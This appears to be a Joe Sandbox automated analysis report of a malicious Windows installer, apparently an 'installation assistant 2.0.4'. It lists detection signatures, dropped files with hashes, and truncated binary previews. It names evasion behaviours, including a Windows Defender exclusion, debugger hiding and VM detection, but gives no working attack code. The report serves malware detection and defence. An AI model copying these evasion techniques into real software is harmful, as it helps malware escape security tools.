behaviorgraph top1 signatures2 2 Behavior Graph ID: 1580394 Sample: #U5b89#U88c5#U52a9#U624b2.0.4.exe Startdate: 24/12/2024 Architecture: WINDOWS Score: 88 92 Multi AV Scanner detection for dropped file 2->92 94 Found driver which could be used to inject code into processes 2->94 96 PE file contains section with special chars 2->96 98 2 other signatures 2->98 10 #U5b89#U88c5#U52a9#U624b2.0.4.exe 2 2->10         started        13 cmd.exe 2->13         started        15 cmd.exe 2->15         started        17 31 other processes 2->17 process3 file4 86 C:\...\#U5b89#U88c5#U52a9#U624b2.0.4.tmp, PE32 10->86 dropped 19 #U5b89#U88c5#U52a9#U624b2.0.4.tmp 3 5 10->19         started        23 sc.exe 1 13->23         started        25 sc.exe 1 15->25         started        27 sc.exe 1 17->27         started        29 sc.exe 1 17->29         started        31 sc.exe 1 17->31         started        33 27 other processes 17->33 process5 file6 72 C:\Users\user\AppData\Local\...\update.vac, PE32 19->72 dropped 74 C:\Users\user\AppData\Local\...\_setup64.tmp, PE32+ 19->74 dropped 100 Adds a directory exclusion to Windows Defender 19->100 35 #U5b89#U88c5#U52a9#U624b2.0.4.exe 2 19->35         started        38 powershell.exe 23 19->38         started        41 conhost.exe 23->41         started        43 conhost.exe 25->43         started        45 conhost.exe 27->45         started        47 conhost.exe 29->47         started        49 conhost.exe 31->49         started        51 conhost.exe 33->51         started        53 26 other processes 33->53 signatures7 process8 file9 76 C:\...\#U5b89#U88c5#U52a9#U624b2.0.4.tmp, PE32 35->76 dropped 55 #U5b89#U88c5#U52a9#U624b2.0.4.tmp 4 16 35->55         started        102 Loading BitLocker PowerShell Module 38->102 59 conhost.exe 38->59         started        61 WmiPrvSE.exe 38->61         started        signatures10 process11 file12 78 C:\Users\user\AppData\Local\...\update.vac, PE32 55->78 dropped 80 C:\Program Files (x86)\...\is-U16QK.tmp, DOS 55->80 dropped 82 C:\Program Files (x86)\Windows NT\hrsw.vbc, PE32 55->82 dropped 84 2 other files (none is malicious) 55->84 dropped 104 Query firmware table information (likely to detect VMs) 55->104 106 Protects its processes via BreakOnTermination flag 55->106 108 Hides threads from debuggers 55->108 110 Contains functionality to hide a thread from the debugger 55->110 63 7zr.exe 7 55->63         started        66 7zr.exe 2 55->66         started        signatures13 process14 file15 88 C:\Program Files (x86)\Windows NT\trash, DOS 63->88 dropped 68 conhost.exe 63->68         started        90 C:\Program Files (x86)\...\tProtect.dll, PE32+ 66->90 dropped 70 conhost.exe 66->70         started        process16

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

SourceDetectionScannerLabelLink
C:\Program Files (x86)\Windows NT\7zr.exe0%ReversingLabs
C:\Program Files (x86)\Windows NT\hrsw.vbc24%ReversingLabs
C:\Program Files (x86)\Windows NT\tProtect.dll9%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\_isetup\_setup64.tmp0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\update.vac24%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\_isetup\_setup64.tmp0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\update.vac24%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU#U5b89#U88c5#U52a9#U624b2.0.4.exefalse
    		high
    https://www.remobjects.com/ps#U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1390211414.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1391080375.000000007EB9B000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000002.00000000.1392689338.0000000000E71000.00000020.00000001.01000000.00000004.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000000.1411849175.00000000004CD000.00000020.00000001.01000000.00000008.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drfalse
      		high
      https://www.innosetup.com/#U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1390211414.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1391080375.000000007EB9B000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000002.00000000.1392689338.0000000000E71000.00000020.00000001.01000000.00000004.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000000.1411849175.00000000004CD000.00000020.00000001.01000000.00000008.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drfalse
        		high

        World Map of Contacted IPs

        ⊘No contacted IP infos

        General Information

        Joe Sandbox version:41.0.0 Charoite
        Analysis ID:1580394
        Start date and time:2024-12-24 13:01:11 +01:00
        Joe Sandbox product:CloudBasic
        Overall analysis duration:0h 9m 58s
        Hypervisor based Inspection enabled:false
        Report type:full
        Cookbook file name:default.jbs
        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
        Number of analysed new started processes analysed:110
        Number of new started drivers analysed:0
        Number of existing processes analysed:0
        Number of existing drivers analysed:0
        Number of injected processes analysed:0
        Technologies:
        • HCA enabled
        • EGA enabled
        • AMSI enabled
        Analysis Mode:default
        Analysis stop reason:Critical Process Termination
        Sample name:#U5b89#U88c5#U52a9#U624b2.0.4.exe
        renamed because original name is a hash value
        Original Sample Name:2.0.4.exe
        Detection:MAL
        Classification:mal88.evad.winEXE@144/33@0/0
        EGA Information:
        • Successful, ratio: 100%
        HCA Information:
        • Successful, ratio: 77%
        • Number of executed functions: 28
        • Number of non-executed functions: 76
        Cookbook Comments:
        • Found application associated with file extension: .exe

        Warnings

        • Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe
        • Excluded IPs from analysis (whitelisted): 4.245.163.56
        • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
        • Not all processes where analyzed, report is missing behavior information
        • Report size exceeded maximum capacity and may have missing behavior information.
        • Report size exceeded maximum capacity and may have missing disassembly code.
        • Report size getting too big, too many NtCreateKey calls found.
        • Report size getting too big, too many NtOpenKeyEx calls found.
        • Report size getting too big, too many NtQueryValueKey calls found.
        • VT rate limit hit for: #U5b89#U88c5#U52a9#U624b2.0.4.exe

        Simulations

        Behavior and APIs

        TimeTypeDescription
        07:02:06API Interceptor1x Sleep call for process: #U5b89#U88c5#U52a9#U624b2.0.4.tmp modified
        07:02:09API Interceptor40x Sleep call for process: powershell.exe modified

        Joe Sandbox View / Context

        IPs

        ⊘No context

        Domains

        ⊘No context

        ASNs

        ⊘No context

        JA3 Fingerprints

        ⊘No context

        Dropped Files

        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        C:\Program Files (x86)\Windows NT\7zr.exe#U5b89#U88c5#U52a9#U624b2.0.2.exeGet hashmaliciousUnknownBrowse
          #U5b89#U88c5#U52a9#U624b2.0.3.exeGet hashmaliciousUnknownBrowse
            #U5b89#U88c5#U52a9#U624b2.0.1.exeGet hashmaliciousUnknownBrowse
              cVyexkZjrG.exeGet hashmaliciousUnknownBrowse
                cVyexkZjrG.exeGet hashmaliciousUnknownBrowse
                  #U5b89#U88c5#U52a9#U624b1.0.3.exeGet hashmaliciousUnknownBrowse
                    #U5b89#U88c5#U52a9#U624b1.0.1.exeGet hashmaliciousUnknownBrowse
                      #U5b89#U88c5#U52a9#U624b1.0.2.exeGet hashmaliciousUnknownBrowse
                        #U5b89#U88c5#U52a9#U624b1.0.3.exeGet hashmaliciousUnknownBrowse
                          #U5b89#U88c5#U52a9#U624b1.0.1.exeGet hashmaliciousUnknownBrowse

                            Created / dropped Files

                            C:\Program Files (x86)\Windows NT\7zr.exe

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:PE32 executable (console) Intel 80386, for MS Windows
                            Category:dropped
                            Size (bytes):831200
                            Entropy (8bit):6.671005303304742
                            Encrypted:false
                            SSDEEP:24576:A48I9t/zu2QSM0TMzOCkY+we/86W5gXKxZ5:Ae71MzuiehWIKxZ
                            MD5:84DC4B92D860E8AEA55D12B1E87EA108
                            SHA1:56074A031A81A2394770D4DA98AC01D99EC77AAD
                            SHA-256:BA1EC2C30212F535231EBEB2D122BDA5DD0529D80769495CCFD74361803E3880
                            SHA-512:CF3552AD1F794582F406FB5A396477A2AA10FCF0210B2F06C3FC4E751DB02193FB9AA792CD994FA398462737E9F9FFA4F19F095A82FC48F860945E98F1B776B7
                            Malicious:false
                            Antivirus:
                            • Antivirus: ReversingLabs, Detection: 0%
                            Joe Sandbox View:
                            • Filename: #U5b89#U88c5#U52a9#U624b2.0.2.exe, Detection: malicious, Browse
                            • Filename: #U5b89#U88c5#U52a9#U624b2.0.3.exe, Detection: malicious, Browse
                            • Filename: #U5b89#U88c5#U52a9#U624b2.0.1.exe, Detection: malicious, Browse
                            • Filename: cVyexkZjrG.exe, Detection: malicious, Browse
                            • Filename: cVyexkZjrG.exe, Detection: malicious, Browse
                            • Filename: #U5b89#U88c5#U52a9#U624b1.0.3.exe, Detection: malicious, Browse
                            • Filename: #U5b89#U88c5#U52a9#U624b1.0.1.exe, Detection: malicious, Browse
                            • Filename: #U5b89#U88c5#U52a9#U624b1.0.2.exe, Detection: malicious, Browse
                            • Filename: #U5b89#U88c5#U52a9#U624b1.0.3.exe, Detection: malicious, Browse
                            • Filename: #U5b89#U88c5#U52a9#U624b1.0.1.exe, Detection: malicious, Browse
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9A..} ..} ..} ...<... ...?..~ ...<..t ...?..v ...?... ...(.| ..} ... ...(.t ..K.... ..k_..~ ..K...~ ..f."._ ...R..x ...&..| ..Rich} ..........PE..L....\.d.....................N......:.............@..........................@............@.....................................x........................&.......d......................................................H............................text.............................. ..`.rdata..RZ.......\..................@..@.data...ds... ......................@....sxdata.............................@....rsrc...............................@..@.reloc..2r.......t..................@..B................................................................................................................................................................................................................................................

                            C:\Program Files (x86)\Windows NT\file.bin (copy)

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:data
                            Category:dropped
                            Size (bytes):1372592
                            Entropy (8bit):7.999861765609051
                            Encrypted:true
                            SSDEEP:24576:2kMb3vsiC+gx2uaeFPJSyOODttN98lqcaSe6IblRJRyfDcKNbSbm:2BLSjjTdOO/N981He66RJRADqm
                            MD5:13E2444DA7092C99CD5B7D74CAF035A3
                            SHA1:127F47FDBA8D8CCD5515AEF760DFFBBF4B8AE75F
                            SHA-256:9CFB0AE92EF977DA9735DB02DC5BC51053B329C0FC7E1592655C4494D20C097B
                            SHA-512:A6C9F4C85CBA1DF6C41AC03AA2F9076095B4A710FD344AE4C29A183B17947AC69A13293B6371B09EC937150DC0A5663B38A36E97F4621A172638EAFA001140F6
                            Malicious:false
                            Preview:.@S.....@...................=.z'........#.1=..GD.]KU......8~zzt>..,.D.{"..s...).L..FG}o...!x-..-.<b:..;..>.m(.fKj.I.'%.SKy$q...T.u....ohCy.h.?c....P"G.~..~v...9....@.<aK...~9cD7..O...M..u%F..nN^...vq}/..A.B....$fV..lpjX.=d....i..=..u...p..a.N.Fv.wk..Y..^........$...l.a...+.V.-.y..Jm......*..V..AI.j..8.#......i..n...EpZ...(.)...v..>.El.(F..?...._.. ......^J.....F(.....U.`."'-.."?.$.`0.L:..*.!.....B.RE8d&..x...k.q......."...4.6O$NE./.Fr.4.....V..$..v.2....X9.g.0.0;.,..$.5....9.O.:.;.0Gj..z.......+.B..........t.:F..YH(.Y..$......e...k......U.u..n._.3h..!..V...zC.......S+)..wVI.j....Y1F.....H.`DT=&di ....q~.]....r.._\9/.Bo..l..r5..N.{......E..'x0.PR!.o....].y|<.....G....2.A.y....3kL$../........@N.W]...Ls..5{X.dm.S7.J.N|.P.9..u.g.^...S....v7E..m.u.r.N+.c.....[...^G.@..."f......r\}'.r..<NG.......2..i{xR.A.._Z0$.....Ol.......ixY.....;.2T#.*..l.AR.G+].X...:.3.<.?....x.... ..%...]P.......1]`,.n..g.._.%..1z9I.....,.Y.7.T5.h.-..6'2NP.....s..p$.;U

                            C:\Program Files (x86)\Windows NT\hrsw.vbc

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                            Category:dropped
                            Size (bytes):3606016
                            Entropy (8bit):7.0063494494702985
                            Encrypted:false
                            SSDEEP:49152:/MifTj964EMRY42Kgq7eJEJqx2dhZe71MzuiehWIKxZfAtbyBSfbZmSKiyQF:/M+jcZ42KXw2dhZe71MzSRFyBSDH
                            MD5:95ACD5631A9131DB1FD066565AFC9A67
                            SHA1:8E9473BD632FF0F57FC34EECAC17174341D80D94
                            SHA-256:EA6B71519CD54AB523B822F84D5D4E5B305214DA4C37E96A02D8BC1CB182F58B
                            SHA-512:70188E7AD6B0D9DA5E88EEFC6095F99066F73FDAB10F084E3F2F96B30D8A717BAE75E9C1B476FB996BC86B9A753AAF26F96024D0068090B437EACE6E5BE35681
                            Malicious:true
                            Antivirus:
                            • Antivirus: ReversingLabs, Detection: 24%
                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Fig...........!.....h....................................................7...........@.........................XC.......J..<....07.X....................@7..?...................................................K...............................text....f.......h.................. ..`.rdata..T............l..............@..@.data................b..............@....00cfg.......`(......"(.............@..@.tls.........p(......$(.............@....voltbl.F.....(......&(..................#.q....P.....(......((............. ..`.rsrc...X....07.......6.............@..@.reloc...?...@7..@....6.............@..B................................................................................................................................................................................................................................................................................

                            C:\Program Files (x86)\Windows NT\is-4KD5J.tmp

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:data
                            Category:dropped
                            Size (bytes):1372592
                            Entropy (8bit):7.999861765609051
                            Encrypted:true
                            SSDEEP:24576:2kMb3vsiC+gx2uaeFPJSyOODttN98lqcaSe6IblRJRyfDcKNbSbm:2BLSjjTdOO/N981He66RJRADqm
                            MD5:13E2444DA7092C99CD5B7D74CAF035A3
                            SHA1:127F47FDBA8D8CCD5515AEF760DFFBBF4B8AE75F
                            SHA-256:9CFB0AE92EF977DA9735DB02DC5BC51053B329C0FC7E1592655C4494D20C097B
                            SHA-512:A6C9F4C85CBA1DF6C41AC03AA2F9076095B4A710FD344AE4C29A183B17947AC69A13293B6371B09EC937150DC0A5663B38A36E97F4621A172638EAFA001140F6
                            Malicious:false
                            Preview:.@S.....@...................=.z'........#.1=..GD.]KU......8~zzt>..,.D.{"..s...).L..FG}o...!x-..-.<b:..;..>.m(.fKj.I.'%.SKy$q...T.u....ohCy.h.?c....P"G.~..~v...9....@.<aK...~9cD7..O...M..u%F..nN^...vq}/..A.B....$fV..lpjX.=d....i..=..u...p..a.N.Fv.wk..Y..^........$...l.a...+.V.-.y..Jm......*..V..AI.j..8.#......i..n...EpZ...(.)...v..>.El.(F..?...._.. ......^J.....F(.....U.`."'-.."?.$.`0.L:..*.!.....B.RE8d&..x...k.q......."...4.6O$NE./.Fr.4.....V..$..v.2....X9.g.0.0;.,..$.5....9.O.:.;.0Gj..z.......+.B..........t.:F..YH(.Y..$......e...k......U.u..n._.3h..!..V...zC.......S+)..wVI.j....Y1F.....H.`DT=&di ....q~.]....r.._\9/.Bo..l..r5..N.{......E..'x0.PR!.o....].y|<.....G....2.A.y....3kL$../........@N.W]...Ls..5{X.dm.S7.J.N|.P.9..u.g.^...S....v7E..m.u.r.N+.c.....[...^G.@..."f......r\}'.r..<NG.......2..i{xR.A.._Z0$.....Ol.......ixY.....;.2T#.*..l.AR.G+].X...:.3.<.?....x.... ..%...]P.......1]`,.n..g.._.%..1z9I.....,.Y.7.T5.h.-..6'2NP.....s..p$.;U

                            C:\Program Files (x86)\Windows NT\is-U16QK.tmp

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:DOS executable (COM, 0x8C-variant)
                            Category:dropped
                            Size (bytes):1122527
                            Entropy (8bit):7.999876279585022
                            Encrypted:true
                            SSDEEP:24576:dlXGATpPsSoQPBKfqOMpMPpEuO/GoVuLr1JJLqbNGt:vWATtsniOC5xqINGt
                            MD5:B3AD8FA0868DACAD08D5437F30AC2FA1
                            SHA1:FD04617E2774C1C6CF2606CFA67E0AB1E3AF51E5
                            SHA-256:CC7BA22A1B12BC01EFA6EB6BB36BD78217D639BB1DA81DA49B2D19791B05C97E
                            SHA-512:699420BAFA2ED1EC0C4ED5F375EABBF74AAB13E068926C498F09252AD89674875A1F079AA014E1E2E2B78850A81766875F98E79D036904E6380F38BA96976091
                            Malicious:true
                            Preview:...i/=.@..<.......K.....<.`y......M...$.4..u.3.1...../q.......dW....F**.....P..3.......x.s.bc2O..:?.F.Y...WWW...*..W..x%i...^.P.9.....e.......@w.&.U....+..6.H...>...0..6T....Dc.R.p.t.....Z..2n.F)./.|.57.....nF.B.v-f.7..$..F.?...N..)z....Dwe`...Y....z.!.F...S;..g..G...V'.~n+.ba.Y.g.....z.i..L"l....o.z....sF%E...*.......x.U.N....-.R~...,.T.Si.`-.&y[..D.N....w?......I.."......6N.....C.u.cd./.}.x...I......g.m\..h.:.Q...B.....WG2.`..4Z.......b.....M.o...u.$<V.p..k.....Y.[$Uj..X.....u.pVq.-9...-..f(....(+.<..2.<..x....._jp..O.Y...P*..7.*.C..Dyf..TD...sZC.L.|.B..V.a......... ...Dl..oE...~.3@<..:m0.....\:.f.r.B6.3..........g5._.^....Z.llF.....$...X.E6.Xe)...]v\....HM.............\P01c..%5y.+..W..YF..E>.p O..Y...w?..J..<....... ).U...j.%#3...Cv.>./.nA..b......'..a{|.....!..=........".w3U...e........l+.A}.I.n9TL....`..m.).CX....pl.]/.q[+....'..a..c...>u..E..Z....Q....A.W.....2.N......]..&.;..^8.$...C...eh....g..l.........U...FR..dQ|-..P.f.

                            C:\Program Files (x86)\Windows NT\locale.bin

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):56530
                            Entropy (8bit):7.997218177041297
                            Encrypted:true
                            SSDEEP:768:bFT8dTObt1UzruZjpqVnCUjSzTi1AbkiaQXFQo5POZZJDkFLYTELoETZt6IhO5U:xKKt1U+uHjSzTi17QXfm/gF2ETA5U
                            MD5:34186AA3062BA60A4C997F9C1004A570
                            SHA1:450376B4EAC800CA98B7B0F06AD93DE4BF058A4F
                            SHA-256:3C911A027BA4EF1F78B2A48944303D73DBD1CD449EE0B388EA2146E05F6A5D6E
                            SHA-512:B5B4A6B65EF8C786A40E4A914A2ACB8036175F50D7B55CC68CF25F0C87F1C48E8ADE25755037A00579D583FEF23E1DB54D720348AD43E2CC36CE46EF2C6A1361
                            Malicious:false
                            Preview:.@S.....[.t| ..............)...a.E(.H1....l...U.|..W91CH...q...X.i.[..!..,e...HO<>.|.&<....Y.2....dz....2.GJq`m4...q.....^..=....~"..:d...(,...o6.#...2..9.z.......D.}.b..Q`nO.p..._.f...+...I...T...n.......#..+.}.9...g..!.%jwrEb.qE..C...U......n..l l.../.y.s....a.J<.}........i..r.u.q..F>_.......`....+........l..c6..ML.?u53..F...xD.&!I..I..*)...@.F.....J...LY.p(..s>j(..C.].zz....yi.......#UA..i.\9....V.. .Syl..aF.(..T...r|j...rJ..r!..~o..*.%..T.../...".OP....FSQb.n.....;Z.J].*.5...]..~.m.M3.lH...l.....8.\.'T[.t0....f.P.g........Z.(.@..P.....}.S.<X.G.[{..^...q..P.:.v..O..D..~y,R3.....Y]........}YH...8.v.'Hf.a.9...(....<1P.0..E~.?.H_N...g.w......OMs.z.,.......{CW...N.B..@"{...Qn..]...gD...+~..O&C.....Q.z...........M.js..R ........a.#.I......0.8A*.>$R....I..}.A...3......{8J.F._....)N2..8..6..3K..v ....i..Z.5..4....K#.<....#.Bn.$.._.".Az.X...e......./......e.6>..d!.v........7Xl..f\}.: ..j..D.,|......v.r.._$t....s..m...X.6.......%.

                            C:\Program Files (x86)\Windows NT\locale.dat

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:7-zip archive data, version 0.4
                            Category:dropped
                            Size (bytes):56530
                            Entropy (8bit):7.997218177041301
                            Encrypted:true
                            SSDEEP:1536:5qt3xRyiDQT63RriabdPfa9P/NVhJ4HbFD3HrWL:5qX8AdiabdnaJlvJcbFDr0
                            MD5:B668EDD4A3E4F2F8CE3332FAAB1533E5
                            SHA1:0899B770D8FFD3816D5CC40D734B786BEAFC5FB0
                            SHA-256:64E6660AD0767803AE1FEB3B34913252EF4A0A6D81ACE914D7D763D66B17E444
                            SHA-512:F53F01A084BB3EE02E248DE539AC1484DD7EEDD4CA771724C766C7B0949559C3423C42FE6C5122930BD77FB76A77D033D733EBADFACE1C39C81C257985343FFE
                            Malicious:false
                            Preview:7z..'...............2........'.a.[..5L..A....u:1.*.......!K.w.7:7C.V.8N...p.s..e......A..P......."...5d...Jb...O........z.C.?.,.F.l.Q.....6..zjq...:..X..e0.,.._.U...g.y..\.y.......y;..6...&.{-2...(R..r...sk>I$.~..Bw{..i.u.W.._..J.i......E..R.}Yt....VJ.]n..*Y......<:"NN.5.._.ZV.cE..h.=...).......0fC....X.j..b.....!.P.....Rn........>....?..Hm..:..'D.B...5/.s'<.>......A...G\...d..K..+..]./..?P...V?.j..v.3.(...w...45....FF.:..J............Nk..Wo.$..R.GfP..KA.#..H;.G.....S.G.*.#.a....[......."..n..F...._.d.+T.v.X.G..-..4..7.)...PRzgh.z+3..t.j.?..gA..S.%.c..0.e.....s&4..K.y....C._w.c.}....P.|K.h.|".6...dM/.{....+.v.y...h........i...Vq.....R.6...;.i..A..Q.-.d/.....J...1.?..T(..BAn..,Z...jo...c|&.W...n- 3...GP.rB[@)2r/"]D...@..w...[n".U0:...H..Z.sb..-i#.......=.3...v..Ep....\...i..5.#R.{T....C$.l..e..,9..9.o.....}.y~.3)...m....".6....lE.;.8....f.gr/n.x...>...E....<.!.....T..rLM....F..Q....a..y..^.<.rS:1....Q..(`~d~.:B..'O.7...V3+sK.oL..

                            C:\Program Files (x86)\Windows NT\locale2.bin

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):56546
                            Entropy (8bit):7.996966859255975
                            Encrypted:true
                            SSDEEP:1536:crCPEbYP46GiC3q6cGOlLvjmS9UWgvy/F2QFtTVAe:iCIR913q8wjmS9bhKe
                            MD5:CEA69F993E1CE0FB945A98BF37A66546
                            SHA1:7114365265F041DA904574D1F5876544506F89BA
                            SHA-256:E834D26D571776C889E2D09892C6E562EA62CD6524D8FC625E6496A1742F5DBB
                            SHA-512:4BCBB5AD50446CD4FAD5ED3C530E29CC9DD7DDCB7B912D7C546AF8CCF7DA74BC1EEC397846BFB97858BABC9AA46BB3F3D0434F414BBC3B15B9FDBB7BF3ED59F9
                            Malicious:false
                            Preview:.@S....c...l ...............3...Q...R]..u&.(..c...o.A..q?oIS.j..O[..o..&....L)......Rm.jC,./....-=...Z.;..7..tH..f...n#.7.P#..#o..D..y....m........zH.!...M.|......Vs.^.Rb.X`....y.T.Sg....T.....E.?/.H.;h.)P.#.pz.LOG$..."L(.....?.D*.6g.J!.>.....f.....J..B..q...;w]9.v...V...$....L/m.H#..]...G....QQ..'.z.!NW~..R..y....E.)....m.k%....+....>....02../..M....b.l..f7..f?-~_..E.5.~....*.'....8?.n........x...#....9.........q.q.n...\....D.Uv9.9...P.j7P~q9[BV...>C..[F..k-UL(jfT..\..{d.v;.5.e.fb.3^+...Z|]S3G...$..H=.W..c...B...).v.D!...s...+.K...~=..l.2...X.m.-....m0.....p...>...d......e.J..gUr*4....vw.........T.cQ......\...]...Z{..q..n..'Ql.$..V.U9..j 4...9<..6i.....5.F.).k.LQ4.H...2..p.*.bQJ..4.K'C...#.%"q.u../zoXL...L...........'..g11=E.....y.8...~.Oe..X....u.M8.T.....Qq.m.........i....F.4e.([Hm.*...E....2........s. *R..{."4.x.]...-.....xQ@.z.......Bz.).[..C...T..".....q............M.X..CQ..A..........d...`S.3...e.X.....u.>.!..;k...>..

                            C:\Program Files (x86)\Windows NT\locale2.dat

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:7-zip archive data, version 0.4
                            Category:dropped
                            Size (bytes):56546
                            Entropy (8bit):7.996966859255979
                            Encrypted:true
                            SSDEEP:1536:cWsX30GkPK2rw7bphKKdxDBxjqtalDFMflaX4:cZXhkPhr+TRJqtaK
                            MD5:4CB8B7E557C80FC7B014133AB834A042
                            SHA1:C42E2C861FF3ED0E6A11824E12F67A344E8F783D
                            SHA-256:3EC6A665E7861DC29A393D00EAA00989112E85C6F1B9643CA6C39578AD772084
                            SHA-512:A88E78258F7DB4AECD02F164E6A3AFCF39788E30202CF596F9858092027DDB2FDB66D751013A7ABA5201BFAFF9F2D552D345AFE21C8E1D1425ABBC606028C2E6
                            Malicious:false
                            Preview:7z..'....O; ........2.......D.X..Z.2..7nf..R..s# s..v.f.....%G..>..9..Jh.-j.r..q.2.=v..Q.....SW7....im..|.c...&...,.s....f.h...C.g~..f.7=9...,...sd....iD......cR.^...$..<....nd...S.O..E)0..SQ.AA.C..$.D.|. a.:..5.....b.....2......W.....Z.pS.b/.F.;|`...O/....@.......4.".b.(...4...,..h/.K$..r!...."..`.S...D?.":...n..f.{C..t..,/.S.0.N..M...v...(.Yn..-.)..-...N~....}..).. .j!...1H.7?R..X.....rKi....9.i[k..+.....Br\.=.k.t8...6Lmh.../.V^K.f.......*.@MM..`...,W.......E..v.H....0.W..~....I.....w....<....X.Azl.FH..6\.a..E?=..I.q.5...s...;.,J.0..J.../.w..,..n.EkN..,j....f.y&q.C}fnY..2\......0.....N!.J..H.H0.....BJ.Q..v}=......^c.'w..#...d.T1....#...2s}N.....2.%.?. ....l.).....a<5Y.s....}...2*.#s..]0h..._G....3].....7y.}.B.6...ywE....'q.....h..?p .#..Emm2..F..| .M.Rv!.v.G....1L.Kx...T...".a6.%S0..g..7.......J.vjO.{.A....B@.c.y>}.....N.+....:.L=[....._.....Y.{....F..|.w.oX..t&[.....a\.M..2.Qe.[}L.Ch[...G.S#.$9...8<..W.d1...*PH.`.....4.A.......?..g.

                            C:\Program Files (x86)\Windows NT\locale3.bin

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):31890
                            Entropy (8bit):7.99402458740637
                            Encrypted:true
                            SSDEEP:768:rzwmoD5r754TWCxhazPt9GNgRYpSj3PsQ4yVb595nQ/:vwmolXaT9abVzP1TC
                            MD5:8622FC7228777F64A47BD6C61478ADD9
                            SHA1:9A7C15F341835F83C96DA804DC1E21FDA696BB56
                            SHA-256:4E5C193D58B43630E16B6E86C7E4382B26C9A812D6D28905DD39BC7155FEBEE1
                            SHA-512:71F31079B6C3CE72BC7238560B2CBD012A0285B6A5AC162B18EAE61A059DD3B8DBCF465225E1FB099A1E23ED7BDDF0AAE4ED7C337A10DC20E0FEEC4BC73C5441
                            Malicious:false
                            Preview:.@S......................xi.\ .~.#..:}..fy?koGL^|kH.G...........x....Tg.Y.t....~^..".L.41.....R..|.....R...C.m(.M&...q.v.$..i..U.....).PY.......O.....~..p.u.Y.......{...5^q.|a.]..@DP".`Rz}...|N.uSW.......^..o...U..z...3...bH........p.......Y`..b.t.x.F^i.<.%.r.o..?w.Z..M.fI.!.a...Zsb.+.y..W...n.....;...........|.{.@Q.....#".M...4.A).#;..r...>E..]w{.-....B...........v..`...S...sY....h.Sa)...r.3.U;n8wXq.x...@^z...%8H.Zd._..f~.....u[..q$..%......C..../].rS.....".=..<o.<S....-^"..iIX..r...D.......k.P.e...U..n.]^p..pal....E.c..+..Gc..U?s.R...p...:>..v..o2..B.Hn..q...F..3.o...%.......C......*.V..|..2.J..i.r....|;T.C6).......a..~"K....Y.....]3.{{..N...X>.1.....:?....,..T+=s...............so.;....&....Q.\K..b............k,..#l...Yb...VE.g.3v.$'.H3......w.....{f..e.....PS.tQ..*.8a....5w....\8%..c.;......q.j.t0/.8s..(9....... .S...0.o.o......f*..]....U..>N....Kc/..ka.I"O-O.!./..S".IN .....%G...........x%..ZL`Sq.;.}w.`..k.....F.........Tp..}..?t..

                            C:\Program Files (x86)\Windows NT\locale3.dat

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:7-zip archive data, version 0.4
                            Category:dropped
                            Size (bytes):31890
                            Entropy (8bit):7.99402458740637
                            Encrypted:true
